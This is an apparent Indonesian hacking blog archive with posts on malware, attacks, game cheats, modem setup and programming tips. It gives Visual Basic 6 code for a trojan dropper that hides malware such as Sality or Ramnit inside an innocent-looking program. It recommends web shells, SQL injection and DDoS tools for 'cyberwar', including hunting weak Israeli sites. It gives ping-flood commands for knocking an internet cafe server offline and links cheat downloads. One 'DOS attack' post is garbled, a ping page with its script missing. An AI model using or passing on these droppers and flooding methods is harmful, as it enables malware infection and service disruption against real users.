MESSIAH RICHARDO FAYKUSA

CARA MEMBUAT FAKE APPLICATION

2012-12-12T18:01:00.003+07:00

Pada tutorial ini, saya ingin memberi contoh Fake Application yang melakukan aksi Drop File Executable, seperti beberapa tipe Trojan yang jika dijalankan terlihat seperti program biasa tetapi secara diam-diam melakukan ekstrak [drop] file lainnya kemudian file hasil ekstrak di eksekusi untuk menjalankan aksinya..

Oke, langsung pada cara pembuatan, pertama buka Microsoft Visual Basic 6 anda, buat project baru dengan tipe standar EXE, kemudian buat 1 form baru.

Pilih Menu Tools – Resource Editor,lalu klik icon Add Custom Resource

Lihat gambar:

Pilih file executable yang anda inginkan misalnya Sality atau Ramnit juga boleh. Kemudian Open, file yang akan dibuat menjadi resource file ber-ekstensi .RES, sehingga bisa disimpan ke dalam program. File executable bisa anda pack dahulu dengan UPX, Mpress dan sebagainya agar ukuran file menjadi lebih kecil.

Ketika akan menyimpan resource ,beri nama sesuai keinginan anda misalnya project1.RES

Setelah sukses “melampirkan” malware atau program lain kedalam program utama, maka ketik kode berikut pada form :

’membuat fungsi KeluarkanFile untuk ekstrak file
Private Function KeluarkanFile(JenisRes As String, IDRes As Long, OFile As String)

Dim DROP() As Byte
DROP = LoadResData(IDRes, JenisRes)

Open OFile For Binary As #1
Put #1, , DROP
Close #1

End Function

‘fungsi ini akan dipanggil ketika program diload ke memori

Private Sub Form_Load()
‘fungsi keluarkanfile dipanggil saat program dieksekusi,ganti nama hehe.exe sesuai keinginan anda

KeluarkanFile “CUSTOM”, 101, App.Path & “\hehe.exe”
Msgbox “File berhasil di ekstrak”,vbinformation,”Info”

End Sub

Save project kemudian run saja, maka akan muncul file bernama hehe.exe di direktori yang sama dengan project anda berada

Catatan: program tidak langsung menjalankan file hasil ekstrak, silahkan tambahkan sendiri kodenya.

SETTING MODEM DI LINUX

2012-12-12T17:58:00.003+07:00

Kali ini saya akan berbagi cara setting modem USB di linux. Ada beberapa aplikasi untuk setting modem di Linux, namun kali ini saya akan menjelaskan setting modem dengan PPPConfig dan Mobile Partner. Tanpa basa basi lagi langsung aja ke TKP.

Setting Modem USB dengan PPPCONFIG di Linux

Pertama kita gunakan perintah dmesg untuk mengecek lokasi modem.

Langkah selanjutnya kita gunakan pppconfig untuk mengkonfigurasi modem

# pppconfig

Langkah selanjutnya pada tampilan pppconfig:

Pilih Create a connection
Pada provider name masukkan nama provider yang akan kita gunakan pada perintah pon, contohnya xl, telkomsel, smart, 3, dll. Karena saya menggunakan 3 maka saya tulis 3. Lalu pilih Ok
Pada configure name server (DNS) pilih Dynamic. Lalu OK
Pada authentication method pilih PAP. Lalu OK
Pada username, isikan username dari ISP kita contohnya: 3data. Lalu OK
Pada password, isikan password dari ISP kita contohnya: 3data. Lalu OK
Pada speed biarkan default. Lalu OK
Pada pulse or tone pilih tone. Lalu OK
Pada phone number masukkan *99# untuk GSM atau *777# untuk CDMA. Lalu OK
Pada choose configuration method pilih Yes
Pada manually select modem port masukkan alamat modem kita. Karena modem saya terdeteksi ttyUSB0 pada langkah pertama jadi saya isikan seperti ini : /dev/ttyUSB0 Lalu OK
Pada tampilan terakhir pilih Finished write your files and return to menu
Keluar dari pppconfig

Langkah selanjutnya adalah mengkoneksikan settingan yang sudah kita buat dengan program pon

# pon <nama_provider>

Contohnya:

# pon 3

Selanjutnya, kita cek deh dengan ping ke google…

# ping www.google.com

Jika sudah bisa melakukan PING berarti modem telah terkoneksi ke internet.

Jika dengan cara ini tidak berhasil maka kita gunakan cara kedua yaitu dengan menginstal Mobile Partner(Versi Linux) , aplikasi modem connector bawaan modem, namun hanya beberapa modem saja yang dapat terdeteksi oleh mobile partner.

Pertama Download dulu aplikasinya DISINI

Lalu install dengan cara seperti di bawah ini

1. Extract file yang telah kita download tadi ke tempat yang di inginkan (saya mengextract nya ke root)

2. Buka console/terminal, lalu ketikkan

# bash /<path>/Install

Contoh: bash ~/Modem/install *tuliskan perintah ini apa bila anda mengextract di root*

3. Akan terdapat tampilan prompt

Please input the install path[/usr/local/Mobile_Partner] :

4. Masukkan dimana aplikasi ini akan diinstall, jika tidak ingin diubah lokasi path-nya (default) langsung saja tekan Enter.

5. Tunggu sampai proses instalasi selesai

Finished, press any key to exit

6. Jalankan Mobile Partner yang telah ada di desktop atau di Application –> Internet

7. Jangan lupa setting profil nya dulu , caranya sama seperti mobile partner di windows

Kedua cara di atas telah saya coba di system operasi Bactrack 5 dan Ubuntu 10.10, dengan menggunakan modem huwawei E173

CARA MELIHAT SOURCE CODE WEBSITE

2012-12-12T17:56:00.001+07:00

Kali ini saya tutorial sederhana tentang cara melihat source code web yang di proteksi oleh Anti Klik Kanandan Anti CTRL+U, kebetulan saya menggunakan Mozilla Firefox sebagai browser.

Contohnya adalah halaman deface’annya orang, nah saya pengen tau keindahan source code orang itu, mari kita lanjutkan:

Langkahnya:

1. Klik Tools -> Web Developer -> Page Source

2. Udah kelihatan tuh source code + biang kerok anti klik kanannya!

Mudah mudahan tutorial sederhana kali ini berkenan di hati agan agan dan bermanfaat untuk pembelajaran.

CYBERWAR SOFTWARE FREE DOWNLOAD

2012-12-12T17:51:00.001+07:00

Kami akan berbagi peralatan tempur yang biasa digunakan untuk perang dunia maya / cyber war, semoga dengan hal ini kita akan lebih mudah dalam menyampaikan pesan perdamaian.

Perang Cyber – Perang Dunia Maya – Cyber War

Peralatan penting diantaranya:

1. OPERATING SYSTEMS

Operating system merupakan bagian paling vital dalam upaya cyberwar, sebagai pondasi awal untuk memulai peperangan cyber.

Beberapa OS berikut yang paling digunakan untuk cyberwar dan penetration testing.

BACKTRACK 5 R3
Pada operating system ini sudah terdapat beberapa tools standard yang memang digunakan untuk penetration testing dan didalamnya sudah terdapat METASPLOIT. OS ini sangat cocok digunakan untuk perang cyber.
WINDOWS OS (XP/Vista/7/8)
Windows adalah os yang paling umum digunakan dan sangat berguna juga untuk melakukan penetration testing, kekurangan dari windows adalah kita harus menambahkan aplikasi untuk menjalankan tools yang berbahasa pemrograman seperti python, ruby, perl, dll.

Anda bisa melakukan dual booting terhadap OS tersebut atau bisa menggunakan virtual machine seperti VMware. Alternatif lain bisa juga anda gunakan seperti, BlackBuntu, BlackOS, dll.

2. PETUNJUK & TUTORIAL HACKING, CRACKING, DEFACE, DLL

Anda bisa menemukan petunjuk untuk melakukan exploit, hacking, cracking dan deface diberbagai situs yang sudah menyediakan tutorial seperti www.binushacker.net.

Alternatif lainnya yang paling bisa digunakan:

YOUTUBE & VIMEO
Siapa yang tidak kenal dengan YouTube & Vimeo, merupakan situs yang menyediakan video-video, tak terkecuali video tentang tutorial hacking, cracking, defacing, dll. Apabila tidak mengetahui bagaimana cara untuk cyberwar, tinggal cari dan lihat videonya di website ini. Sudah sangat banyak video tutorial diwebsite ini.
Website: www.youtube.com & www.vimeo.com
SECURITY TUBE
Situs ini merupakan situs yang spesifik menyediakan seluruh kumpulan video mengenai security dan hacking, sangat cocok untuk belajar teknik-teknik hacking, exploiting, cracking, defacing, fuzzing, dll.
Website: www.securitytube.net

3. VULNERABILITY INFORMATION

Selain anda memiliki exploit sendiri (undisclosed exploit) yang tidak disebarkan, anda juga bisa menggunakan free vulnerability yang sudah dipublikasikan di website-website berikut untuk mempermudah anda dalam menemukan kelemahan lawan.

Beberapa website yang bisa digunakan adalah sebagai berikut:

EXPLOIT DATABASE
Exploit database adalah kelanjutan dari milw0rm dimana dikolaborasikan dengan google hacking database (GHDB). Diwebsite ini akan banyak ditemukan berbagai kelemahan website baik yang memiliki kelemahan remote, local atau di webaplikasi:
Website: www.exploit-db.com
SECURITY FOCUS
Situs ini hampir sama dengan Exploit-DB dan merupakan salah satu favorit team binushacker dalam mencari kelemahan, karena security focus sudah dibangun sejak lama. Disini akan ditemukan kelemahan-kelemahan website dari yang sudah lama sampai dengan yang terbaru. Sangat cocok untuk melakukan testing disegala aspek kelemahan terutama aplikasi web.
Website: www.securityfocus.com

4. TOOLS, SCANNER & SEARCH ENGINE

Berikut adalah bagaian paling penting dalam peralatan perang, yaitu kumpulan tools untuk scan, exploit dan pawning.

Kumpulan tools yang biasa dan sering digunakan adalah:

SQL INJECTION TOOLS
SQL Injection merupakan kelemahan yang paling populer dalam dunia hacking khususnya yang berupa web application, yang bisa digunakan juga di berbagai database engine. Adapaun tools yang direkomendasikan adalah

- SQLMAP: merupakan tools yang sangat powerfull untuk melakukan sql injection secara otomatis.

- SQLCAKE: merupakan tools keren yang khusus dibuat untuk melakukan sql injection bisa dilakukan secara manual dan otomatis.

- WEBAPPEX: merupakan web application exploiter, dimana didalamnya menggunakan engine Havij sebagai SQL injectionnya, sangat powerfull dan merupakan salah satu favorite tools.
REMOTE SHELL TOOLS
Remote shell tools merupakan tools yang wajib untuk dimiliki yang bisa di gunakan untuk exploitasi, download dan upload file. Eksekusi perintah-perintah baik yang ada di linux, bsd, freebsd dan windows.

- C100 SHELL: merupakan sebuah tools exploitasi yang berbasis php dengan banyak fungsi didalamnya untuk eksekusi command, bypass, upload, download file, dll. Digunakan untuk *nix.

- ASPYX SHELL: merupakan sebuah tools exploitasi yang berbasis aspx dengan banyak fungsi didalamnya untuk eksekusi command, bypass, upload, download file, dll. Digunakan untuk *windows.

- EFSO SHELL: merupakan sebuah tools exploitasi yang berbasis asp dengan banyak fungsi didalamnya untuk eksekusi command, bypass, upload, download file, dll. Digunakan untuk *windows.
NETWORK DAN WEB APPLICATION SCANNER
Network scanner digunakan untuk melakukan scan terhadap network target, mengumpulkan data dan informasi mengenai network yang digunakan oleh lawan. Sedangkan Webscanner digunakan untuk menemukan kelemahan lawan yang berbasis web aplikasi.

- NMAP: merupakan tools yang digunakan untuk mencari dan melakukan scanning terhadap network lawan.

- WEBVULNSCAN: merupakan tools untuk mencari kelemahan website.

- RA2 BLACKBOX: merupakan sebuah tools untuk melakukan scanning terhadap kelemahan XSS.
DISTRIBUTED DENIA OF SERVICE (DDOS) TOOLS
Tools ini digunakan untuk mematikan server secara sementara dengan teknik membajiri website dengan request hingga website tersebut overload dan tidak dapat diakses. List DDOS tool sebagai berikut:

- SLOWLORIS: ddos tools yang dibuat oleh Rsnake, sangat powerful untuk check IIS server dan web aplikasi, sampai saat ini masih banyak digunakan.

- HULK: ddos tools untuk melakukan load terhadap http request.

- TOR HAMMER: tools ddos yang bisa dilakukan dengan menggunakan Tor application, terutama untuk server yang berbasis apache.

- LOIC: tools DDOS yang paling banyak digunakan oleh Anonymous, silakan dicoba.
SEARCH ENGINE
Search engine merupakan alat terakhir yang perlu untuk digunakan untuk mencari website-website yang terdaftar. Misalkan anda akan mencari kelemahan website Israel tinggal gunakan keyword: *.il (Israel):

- Google: search engine paling populer saat ini dan merupakan website no. 1 yang paling dikunjungi di dunia.
Website: www.google.com

- Yahoo!: merupakan tools untuk mencari kelemahan website.
Website: www.yahoo.com

- Bing: merupakan sebuah tools untuk melakukan scanning terhadap kelemahan XSS.
Website: www.bing.com

Selanjutnya dengan mengetahui semua kebutuhan perang, anda telah memiliki langkah awal yang baik sebagai persiapan. Kemudian berikut adalah petunjuk yang bisa di praktekkan step-by-stepnya:

Nah, diatas merupakan tools dan petunjuk yang diperlukan untuk melakukan peperangan di dalam dunia cyber, selanjutnya kami serahkan kepada anda apakah akan menggunakan tools tersebut atau akan menggunakan tools lain yang sudah dimiliki saat ini.

Selamat mempersiapkan diri dan berpartisipasi dalam peperangan dunia cyber. Semoga sukses dan berhasil!

BELAJAR PROGRAMMING DENGAN C++

2012-12-11T18:30:00.001+07:00

Berikut kami share beberapa contoh hasil pemrograman dengan menggunakan C++, disertai dengan tutorial C++, semoga hal ini bisa mempercerah dan membantu untuk lebih semangat dalam coding

Oke, mari kita lanjutkan ke artikel berikut:

Contoh Program Array Menggunakan Index

Kali ini saya akan membuat sebuah dasar untuk pemrograman C++, ingat artikel ini jangan hanya di copas hanya untuk keperluan tugas anda di kampus maupun di sekolah, saya disini tidak akan memberikan listing program yang bisa di copas , maka dari itu kalian
harus menyalinnya dengan benar. saya hanya akan memberikan scrreen shotnya, apabila kalian yang malas menyalinnya

Dan ini merupakan gambar listing codenya:

Disini terjadi penggantian indeks sesuai dengan indeks yang ingin diganti, misalnya indek pertama bil awal 15 bisa digantikan dengan kode 2.

Tampilan screen shoot program ketika sudah dibuat:

Program Mencari Nilai Minimum dan Maximum C++

Kali ini saya akan lagi memposting sebuah source program menggunakan borlan C++, mungkin sedikit berbeda syntaxnya dengan program C yang lain.

Sekarang saya akan membuat kan suatu source code C++ yaitu mencari nilai terbesar dan terkecil. Saya buatnya dalam bentuk image supaya semuanya bisa belajar, kecuali saya .. Hhe

Langsung saja ini gambar code / syntaxnya:

Dan ini hasil print screennya:

Itulah program dari saya, apabila ada pertanyaan anda bisa sms ke saya.

Cara yang lainnya:

Nah apakah sesuai dengan apa yang anda inginkan…..?

Source codenya ini:

Screen shot program yang uda di compile:

Penjelasannya dikit aja ya…

Float digunakan untuk menentukan jumlah indeks yang bisa di input, i disimpan dalam sebuah fungsi lalu digunakan perulangan, yaitu menggunakan for (i=0;i<10 br=”br” i=”i”>jadi artinya i melakuakan perbandingan antara sepuluh indeks.

FREE DOWNLOAD NET TOOLS 5

2012-12-11T18:26:00.005+07:00

Buat agan agan yang mau belajar jadi admin jarinagn cocok banget nih agan tinggal buat aja server sediri di rumah. Ane udah coba aplikasi ini dengan cara ane buat mail server, web server, ftp server sendiri di rumah lalu ane serang pake aplikasi ini jadi ane bisa tau dimana kelemahan server yang ane buat.

Tanpa berlama lama lagi langsung aja donlot aplikasi nya:

Ini dia penampakan aplikasi nya

Tampilan beberapa fungsinya:

Fungsinya:
1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8) Trace Route (2 ways)
9) TCP/IP Configuration
10) Online – Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support
31) Mass E-mailer
32) E-mail Bomber
33) E-mail Spoofer
34) Simple Port Scanner (fast)
35) Advanced Netstat Monitoring
36) X Pinger
37) Web Page Scanner
38) Fast Port Scanner
39) Deep Port Scanner
40) Fastest Host Scanner (UDP)
41) Get Header
42) Open Port Scanner
43) Multi Port Scanner
44) HTTP scanner (Open port 80 subnet scanner)
45) Multi Ping for Cisco Routers
46) TCP Packet Sniffer
47) UDP flooder
48) Resolve and Ping
49) Multi IP ping
50) File Dependency Sniffer
51) EXE-joiner (bind 2 files)
52) Encrypter
53) Advanced Encryption
54) File Difference Engine
55) File Comparasion
56) Mass File Renamer
57) Add Bytes to EXE
58) Variable Encryption
59) Simple File Encryption
60) ASCII to Binary (and Binary to ASCII)
61) Enigma
62) Password Unmasker
63) Credit Card Number Validate and Generate
64) Create Local HTTP Server
65) eXtreme UDP Flooder
66) Web Server Scanner
67) Force Reboot
68) Webpage Info Seeker
69) Bouncer
70) Advanced Packet Sniffer
71) IRC server creater
72) Connection Tester
73) Fake Mail Sender
74) Bandwidth Monitor
75) Remote Desktop Protocol Scanner
76) MX Query
77) Messenger Packet Sniffer
78) API Spy
79) DHCP Restart
80) File Merger
81) E-mail Extractor (crawler / harvester bot)
82) Open FTP Scanner
83) Advanced System Locker
84) Advanced System Information
85) CPU Monitor
86) Windows Startup Manager
87) Process Checker
88) IP String Collecter
89) Mass Auto-Emailer (Database mailer; Spammer)
90) Central Server (Base Server; Echo Server; Time Server; Telnet Server; HTTP Server; FTP Server)
91) Fishing Port Scanner (with named ports)
92) Mouse Record / Play Automation (Macro Tool)
93) Internet / LAN Messenger Chat (Server + Client)
94) Timer Shutdown/Restart/Log Off/Hibernate/Suspend/ Control
95) Hash MD5 Checker
96) Port Connect – Listen tool
97) Internet MAC Address Scanner (Multiple IP)
98) Connection Manager / Monitor
99) Direct Peer Connecter (Send/Receive files + chat)
100) Force Application Termination (against Viruses and Spyware)
101) Easy and Fast Screenshot Maker (also Web Hex Color Picker)
102) COM Detect and Test
103) Create Virtual Drives
104) URL Encoder
105) WEP/WPA Key Generator
106) Sniffer.NET
107) File Shredder
108) Local Access Enumerater
109) Steganographer (Art of hiding secret data in pictures)
110) Subnet Calculater
111) Domain to IP (DNS)
112) Get SNMP Variables
113) Internet Explorer Password Revealer
114) Advanced Multi Port Scanner
115) Port Identification List (+port scanner)
116) Get Quick Net Info
117) Get Remote MAC Address
118) Share Add
119) Net Wanderer
120) WhoIs Console
121) Cookies Analyser
122) Hide Secret Data In Files
123) Packet Generator
124) Secure File Splitting
125) My File Protection (Password Protect Files, File Injections)
126) Dynamic Switch Port Mapper
127) Internet Logger (Log URL)
128) Get Whois Servers
129) File Split&Merge
130) Hide Drive
131) Extract E-mails from Documents
132) Net Tools Mini (Client/Server, Scan, ICMP, Net Statistics, Interactive, Raw Packets, DNS, Whois, ARP, Computer’s IP, Wake On LAN)
133) Hook Spy
134) Software Uninstaller
135) Tweak & Clean XP
136) Steganographic Random Byte Encryption
137) NetTools Notepad (encrypt your sensitive data)
138) File Encrypter/Decrypter
139) Quick Proxy Server
140) Connection Redirector (HTTP, IRC, … All protocols supported)
141) Local E-mail Extractor
142) Recursive E-mail Extractor
143) Outlook Express E-mail Extractor
144) Telnet Client
145) Fast Ip Catcher
146) Monitor Host IP
147) FreeMAC (MAC Address Editor)
148) QuickFTP Server (+user accounts support)
149) NetTools Macro Recorder/Player (Keybord and Mouse Hook)
150) Network Protocol Analyzer
151) Steganographic Tools (Picture, Sounds, ZIP Compression and Misc Methods)
152) WebMirror (Website Ripper)
153) GeoLocate IP
154) Google PageRank Calculator
155) Google Link Crawler (Web Result Grabber)
156) Network Adapter Binder
157) Remote LAN PC Lister
158) Fast Sinusoidal Encryption
159) Software Scanner
160) Fast FTP Client
161) Network Traffic Analysis
162) Network Traffic Visualiser
163) Internet Protocol Scanner
164) Net Meter (Bandwidth Traffic Meter)
165) Net Configuration Switcher
166) Advanced System Hardware Info
167) Live System Information
168) Network Profiler
169) Network Browser
170) Quick Website Maker and Web Gallery Creator
171) Remote PC Shutdown
172) Serial Port Terminal
173) Standard Encryptor
174) Tray Minimizer
175) Extra Tools (nmap console & win32 version)

**PERHATIAN : Gunakan aplikasi ini sebaik baiknya, gunakanlah untuk pembelajaran bukan untuk merugikan orang lain

Sekian

TIPS BELAJAR MENJADI PROGRAMMER

2012-12-11T18:23:00.002+07:00

Tips suksesnya adalah sebagai berikut:

Modal awal untuk belajar pemrograman adalah Motivasi. Kalau motivasi untuk belajar motivasi besar, Selamat! Anda adalah calon seorang programmer handal. Fokus selanjutnya adalah mengasah skill untuk belajar pemrograman. Terus pertahankan motivasi yang telah dimiliki. Jangan sampai motivasi ini pupus ketika menemui kegagalan.
Jangan mudah menyerah. Memang belajar pemrograman adalah tidak mudah. Butuh perjuangan, kerja keras, serta pengalaman (jam terbang). Jangan mudah menyerah ketika banyak error yang muncul ketika membuat program.
Jangan sekali-kali menganggap pemrograman itu adalah sepenuhnya pelajaran ‘Menghapal’. Memang betul, menghapal juga diperlukan yaitu ketika menghapalkan sintaks dan aturan penulisan dalam program. Tapi secara prinsip, pemrograman adalah pelajaran cara berpikir dan logika bagaimana menyelesaikan masalah.
Jangan hanya menjadi tukang ketik. Ketika dosen memberikan contoh program di kelas atau ketika praktikum, jangan hanya memandang setiap barisan kode program tersebut sebagai angin lalu dan hanya Anda pindahkan ke kertas atau komputer. Kalau hanya demikian, sama halnya dengan belajar menjadi tukang ketik. Coba pahami setiap baris kode dan alur program yang dituliskan guru atau dosen Anda. Kalau sudah paham, coba tulis program menurut versi sendiri ke buku atau komputer. Apabila hal ini dilakukan, maka secara tidak sadar telah melatih logika berpikir dan belajar menuangkan logika berpikir ke dalam bentuk program.
Untuk mendukung pembelajaran, coba cari orang yang mau mengajari. Ketika menemui masalah dalam belajar pemrograman. Bisa teman dekat, teman di internet atau bahkan guru dan dosen atau siapapun yang dekat dan memahami hal yang ditanyakan.
Jangan mengandalkan tatap muka di kelas. Materi pemrograman sangatlah luas. Apa yang diberikan dosen ketika kuliah itu sangatlah kecil cakupannya dibandingkan keseluruhan ilmu pemrograman. Cobalah eksplorasi sendiri segala hal tentang pemrograman. Ada banyak referensi di internet yang membahas tentang tips dan trik serta teknik dalam pemrograman.
Carilah komunitas yang fokus dengan pemrograman. Di internet ada banyak forum diskusi via web atau mailing list yang membahas tentang pemrograman. Ingat bahwa orang yang sering bergaul dengan penjual minyak wangi maka dia akan ikut menjadi wangi. So, kita adopsi hal ini, banyak-banyaklah bergaul dengan orang dalam komunitas yang sama-sama interest dengan pemrograman.
Sangat disarankan memiliki komputer sendiri di rumah atau di kost. Seperti yang telah saya jelaskan di atas bahwa untuk menguasai pemrograman butuh pengalaman dan jam terbang yang banyak dalam membuat progam. Kalau tidak memiliki komputer sendiri, bagaimana bisa menambah jam terbangnya? Untuk belajar pemrograman tidaklah harus membutuhkan komputer dengan spesifikasi tinggi. Cukup komputer Pentium III saja itu sudah bisa, kecuali belajar program yang memang butuh spesifikasi besar misalnya programan berbasis visual. Oya, jangan sekali-kali mengandalkan jam praktikum di laboratorium karena waktu penggunaannya sangat-sangat terbatas. Anggap saja ketika beli komputer adalah sebagai investasi jangka panjang. Yakinlah suatu saat modal untuk membeli komputer itu akan balik kembali, atau malah akan memberikan return of investment yang jauh lebih besar.
Jangan hanya mengandalkan catatan atau modul yang diberikan oleh dosen. Isi modul yang ditulis oleh dosen itu rata-rata masih sedikit kontennya. Berusahalah mencari referensi sendiri terkait dengan pemrograman. Toh saat ini sudah banyak buku-buku yang mengulas tentang pemrograman. Kalau ingin yang gratis, coba cari referensi di internet karena tersedia banyak free ebook yang bisa didownload.
Sebagai pemrogrammer harus selalu ingat kepada yang maha kuasa, agar jangan lupa tetap menunaikan ibadah. Knowledge come from The Creator, semakin dekat anda dengan Tuhan, semakin berguna & enjoy dalam melakukan pemrograman.
Seorang programmer harus bisa mengatur (memprogram) diri nya – self programming. Dalam hal kepribadianya, contoh : kapan waktu makan, kapan waktu tidur, kapan waktu beribadah, dan kapan waktu untuk berkumpul dengan keluarga – tidak coding terus. memprogram waktu dengan baik.
Seorang orang programmer harus bisa menjaga kesehatan. Karena logika tidak bisa berjalan tanpa logistik, jadi makanan pun harus diperhatikan, teratur dan bergizi dengan begitu otak kita bisa berfikir secara jernih dan cerdas.
Jangan hanya fokus untuk menguntungkan diri sendiri. Programer seperti itu adalah programer yg egois. Karena suatu saat ia harus mengetahui bakat yg ia gunakan, haruslah berguna bagi orang lain.
Layaknya seorang ilmuwan, programer juga harus terus mencari permasalahan dalam suatu program dan mencari pemecahan atas masalah tersebut.
Mulailah belajar pemrograman dengan logika-logika dasar yang kuat. Seorang programmer harus selalu bisa mengatasi masalah dan memberikan solusi selama itu masih logic, kecuali yang magic-magic lupakan saja, contoh: memindahkan monas ke papua / memindahkan tamanmini ke dalam saku.
Jangan takut untuk gagal. Setiap programmer pasti pernah mengalami kesulitan / bahkan mengalami kegagalan dalam menyelesaikan suatu project. Maybe, itulah jalan menuju kesuksesan. Yang secara tidak langsung tanpa Anda sadari.
Luangkan waktu sejenak untuk me-refresh otak, pikiran dan tenaga. Tak jarang programmer yang stres, terlalu memaksakan sistem kerja otak tanpa istirahat yang rutin, dikarenakan dikejar deadline.
Jangan takut untuk “copy paste”. Tidak diharuskan seorang programmer menulis coding manual. Disamping untuk mempersingkat waktu, disini seorang programmer di tuntut untuk mengembangkan kreatifitas. Banyak atau bahkan hampir setiap programmer menggunakan berbagai macam template.
Jangan hanya asal copy paste. Rata-rata orang yang asal copy paste program itu tidak berusaha memahami program yang dia copy. Coba pahami dahulu program yang diperoleh terutama pada algoritmanya, kalau bisa tulis kembali program tersebut menurut versi Anda. Boleh sih copy paste, asal juga berusaha memahami makna program di dalamnya. Syukur-syukur kalau Anda memodifikasi kode programnya.
Jangan lupa mengamalkannya. Karena ilmu tidak diamalkan bagaikan pohon tidak berbuah, berbagilah (ilmu tidak akan habis walau dibagi kepada seberapa banyak orang) bahkan dengan ilmu derajat kita akan terangkat.

Oke semua, selamat mencoba dan mempraktekkan tips-tips di atas

CARA MEMBUAT SERANGAN DOS

2012-12-11T18:21:00.002+07:00

Rasa jenuh terkadang
datang ketika kita mengerjakan tugas-tugas kantor yang sering kali berhubungan dengan
Command Prompt. Layar yang kita lihat hanyalah berwarna hitam dan tulisan putih, di bagian
inilah perubahan sangat diperlukan. Perubahan dapat dilakukan dengan mengubah tampilan
yang tadinya hitam putih menjadi berwarna dan memiliki tampilan menarik seperti yang ada di
windows.

Dalam melakukan perubahan tentunya dibutuhkan tools (peralatan) untuk membuatnya. Pada
dasarnya windows memiliki beberapa bahasa pemrograman seperti Visual Basic Script dan Java
Script yang dapat digunakan untuk membangun sebuah aplikasi sederhana. Dengan bantuan
HTML untuk membuat tampilan dan dipadu dengan salah satu bahasa pemrograman tersebut
maka kita dapat membuat sebuah aplikasi sederhana yang berbasis OOP(Object Oriented
Programming) yang dapat melakukan tugas-tugas yang ada di Command Prompt.
Program berikut ini merupakan program yang dibuat dengan salah satu bahasa pemrograman
Visual Basic Script dan digunakan untuk Ping komputer yang berada dalam satu jaringan
dengan komputer Anda.
Trik yang satu ini pernah dimuat di Tabloid PCplus pada edisi 281 (17-30 April 2007)

Ini VBscript eksekusi di browsernya mirip javascript
Untuk lebih jelasnya ketikkanlah script program dibawah ini dengan menggunakan Notepad
lalu simpan dengan nama ping.html dan jangan lupa ubah Save as type yang tadinya dari Text
Documents (*.txt) menjadi All Files. Jangan lupa juga untuk menonaktifkan Word Wrap yang
ada di Notepad pada saat pengetikan script program.

<SCRIPT LANGUAGE="VBScript"></SCRIPT>
Masukan alamat ip addressnya, lalu Klik dos untuk melakukan serangan.<HR color=blue noshade><FORM NAME="buku">
Masukkan Nama Komputer:<INPUT NAME="teks1" TYPE="Text"><INPUT NAME="jalan1" TYPE="BUTTON" VALUE="Dos"><INPUT NAME="jalan2" TYPE="BUTTON" VALUE="Keluar!"></FORM>

Setelah mengetikan script program diatas simpanlah file tersebut kemudian jalankan file yang
bernama "ping.html"(tanpa tanda petik).
Masukkan nama komputer atau alamat IP(Internet Protocol) dari komputer Anda. Klik tombol
Ping! untuk melakukan ping terhadap komputer Anda. Maka hasilnya akan ditampilkan pada jendela berikutnya, dan hasilnya pun akan sama persis dengan perintah ping yang ada di Command Prompt.
Catatan:
Program diatas telah diuji coba di sistem operasi Windows 98, Windows 2000 Professional dan Windows XP Professional Service Pack 2 dan hanya berjalan pada browser Internet Explorer 9. Selamat belajar & bereksperimen.

HACK SERVER WARNET PAKAI CMD

2012-12-11T18:15:00.002+07:00

Hari ini sungguh menyebalkan.lagi asik-asik ngenet eh tau tau ada tulisan "the computer ..." lupa,pokoknya shutdown lah.... paling dari servernya.hah! lalu ada benak kotor untuk ngerjain balik.lalu saya berfikir sejenak,biasanya gak mikir si....lalu saya akhirnya pakai cmd kalo gak tau dos ajalah.hah..... tak disangka akhirnya bisa.horre........... server untuk 20 detik gak konek internet.dari pada ndengerin hacking server lan warnet tadi mending liat caranya langsung.
1.masuk cmd(start>run>cmd>enter"biar lebih cepet")
2.untuk lihat yang lagi online ketik
net view
lalu enter liat mana aja yang lagi aktif(sebenernya bukan server aja tapi... mungkin semua kompi)
bisa juga
arp -a
trus di enter.
3.udah liat siapa aja yang aktif sekarang isengin dia pakai ini
ping -w "nama kompi"
contoh
ping -w server atau ping -l 56500 -t 192.168.1.1
di enter lagi.....
4.selesai

tips n trick.

>Biar bisa di sebut DDOS coba buka banyak minimal 25 cmd dan lakukan cara di atas.
>Usahakan agar keluar setatus yang bener-bener koneksi tersambung dengan benar dan tidak ada masalah pada jaringan.

CHEAT POINT BLANK TERBARU

2012-12-10T21:25:00.001+07:00

Download WH,Anti HS,SKill,Set:

Click Here

No Password

Download Minimize+skill:

Click Here

No Password

Download Burst+ 1 hit SG:

Click Here

No Password

Fitur :

Wallhack: check di menu

===================================================

No Respon, Damage,QUick Change, Slot Replace bintang 2,Holvest ++ = HOME On|Home Off

Minimize PB

Special Buat Op Warnet/yang Ingin PB an sambil Buka FB! ALT Tab

APabila Pilih + Burst = Full Fitur + burst Auto ON

Tutorial :

Buka PB Launcher

Buka File yang Anda Download

Start PointBlank

solusi lag

CHEAT CROSSFIRE TERBARU

2012-12-10T21:20:00.001+07:00

Cara Buka Cheat terlebih dahulu....

lalau anda klik aktifin keys/link Di bawah file yang anda download ! yang ada di bawah ,klik saja, klik skip ad sampai masuk cheat aktif

cit sudah aktif baru Buka Cf ,Start ,, !!

Replace Weapon Beta/percobaan

Downloads Cheat
Click Here

Tanpa Password

|||||

Buka Cheatnya ,, lalu klik ini gan.,,

http://dl.dropbox.com/u/67650221/cf/key_modz.html << aktifin cit no ribet!

Features:

d3d menu free Check Di d3d menunya

Windows 7 :

Gunakan Klik Kanan - Run As administrator saat membuka cheat dan Crossfirenya!

Cara Buka Cheat terlebih dahulu....

lalau anda klik aktifin keys/link Di bawah file yang anda download ! yang ada di bawah ,klik saja, klik skip ad sampai masuk cheat aktif

cit sudah aktif baru Buka Cf ,Start ,, !!

CHEAT LOST SAGA TERBARU

2012-12-10T21:15:00.004+07:00

Download Cheat:

Click Here

Password pkl

Injector Free:

Click Here

No Password

MENCARI PASSWORD DARI GOOGLE

2012-12-10T21:05:00.004+07:00

\
